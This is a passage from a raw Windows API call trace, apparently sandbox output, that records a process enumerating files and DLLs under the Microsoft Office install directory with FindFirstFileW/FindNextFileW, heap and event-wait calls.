cAlternateFileName="AP5E1E~1.XML")) returned 1 [0231.318] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~3.XML")) returned 1 [0231.319] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE0B7~1.XML")) returned 1 [0231.319] ResetEvent (hEvent=0x2b8) returned 1 [0231.319] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.322] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8BF9~1.XML")) returned 1 [0231.322] ResetEvent (hEvent=0x2b8) returned 1 [0231.322] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.324] ResetEvent (hEvent=0x2b8) returned 1 [0231.325] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.330] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.common.xml", cAlternateFileName="AP3FD6~1.XML")) returned 1 [0231.330] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="AP942B~1.XML")) returned 1 [0231.330] ResetEvent (hEvent=0x2b8) returned 1 [0231.330] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.340] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 1 [0231.341] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 0 [0231.341] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0231.342] GetProcessHeap () returned 0xc10000 [0231.342] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3408fd8 | out: hHeap=0xc10000) returned 1 [0231.342] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0231.342] GetProcessHeap () returned 0xc10000 [0231.342] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3408fd8 [0231.342] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\*", lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0231.342] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.342] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0231.342] GetProcessHeap () returned 0xc10000 [0231.342] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0231.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0231.343] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.344] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0715cb9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0715cb9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0952017, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0231.344] ResetEvent (hEvent=0x2b8) returned 1 [0231.344] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.349] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0a832cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0231.349] ResetEvent (hEvent=0x2b8) returned 1 [0231.349] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.352] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09c4608, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0231.352] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd115de42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd115de42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd158a009, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0231.352] ResetEvent (hEvent=0x2b8) returned 1 [0231.352] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.355] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0eaf4e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0231.355] ResetEvent (hEvent=0x2b8) returned 1 [0231.355] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.358] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c4cdf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c4cdf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0df0820, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0231.358] ResetEvent (hEvent=0x2b8) returned 1 [0231.358] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.575] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c26cd1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c26cd1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0e62fac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0231.575] ResetEvent (hEvent=0x2b8) returned 1 [0231.575] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.578] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd289cda7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd289cda7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2a1a592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0231.578] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d7e20c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0231.579] ResetEvent (hEvent=0x2b8) returned 1 [0231.579] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.582] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0bda864, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0231.582] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c99389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0231.582] ResetEvent (hEvent=0x2b8) returned 1 [0231.582] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.588] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0af5a16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0af5a16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c4cdf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0231.588] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e086ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e086ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2365abe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0231.588] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1137cdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1137cdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1d23858, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0231.588] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1006983, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1006983, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1242d5d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0231.589] ResetEvent (hEvent=0x2b8) returned 1 [0231.589] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.614] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd121c9ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0231.614] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd139a18a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0231.614] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd11d067c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0231.615] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1078ffd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0231.615] ResetEvent (hEvent=0x2b8) returned 1 [0231.615] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.616] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd10c55e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0231.617] ResetEvent (hEvent=0x2b8) returned 1 [0231.617] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.619] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f9426a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0231.619] ResetEvent (hEvent=0x2b8) returned 1 [0231.619] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.626] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b7fe91, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b7fe91, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1ec71c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0231.627] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate32.exe", cAlternateFileName="APPVDL~2.EXE")) returned 1 [0231.627] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate64.exe", cAlternateFileName="APPVDL~1.EXE")) returned 1 [0231.627] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0231.628] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0231.628] ResetEvent (hEvent=0x2b8) returned 1 [0231.628] WaitForSingleObject (hHandle=0x2b8, 